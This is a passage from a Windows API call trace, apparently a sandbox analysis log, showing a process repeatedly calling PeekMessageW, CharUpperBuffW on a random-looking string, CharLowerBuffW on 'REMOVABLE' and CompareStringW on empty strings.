wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.161] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.161] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.161] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.161] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.161] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.162] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.162] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.162] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.162] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.162] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.162] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.162] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.162] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.162] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.162] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.162] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.162] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.162] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.163] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.163] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.163] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.163] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.163] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.163] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.163] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.164] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.164] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.164] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.164] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.164] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.164] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.164] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.165] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.185] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.186] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.186] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.186] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.186] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.186] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.187] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.187] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.187] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.187] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.187] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.187] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.187] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.188] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.188] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.188] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.188] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.188] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.188] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.189] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.189] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.189] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.189] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.189] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.189] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.189] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.189] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.189] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.189] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.189] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.190] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.190] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.190] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.190] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.190] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.190] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.190] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.190] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.190] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.190] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.190] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.190] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.195] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.195] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.196] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.196] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.196] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.196] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.196] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.196] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.197] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.197] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.197] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.197] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.197] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.197] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.198] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.198] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.198] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.198] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.198] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.198] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.199] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.199] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.199] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.199] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.199] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.199] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.200] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.200] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.200] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.200] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.200] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.200] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.200] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.200] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.229] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.229] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.229] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.229] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.229] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.230] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.230] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.230] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.230] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.230] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.230] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.230] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.230] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.230] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.231] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.231] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.231] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.231] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.231] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.231] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.231] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.231] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.231] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.232] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.232] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.232] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.232] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.232] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.232] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.232] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.232] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.233] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.233] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.233] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.233] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.233] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.233] CompareStringW 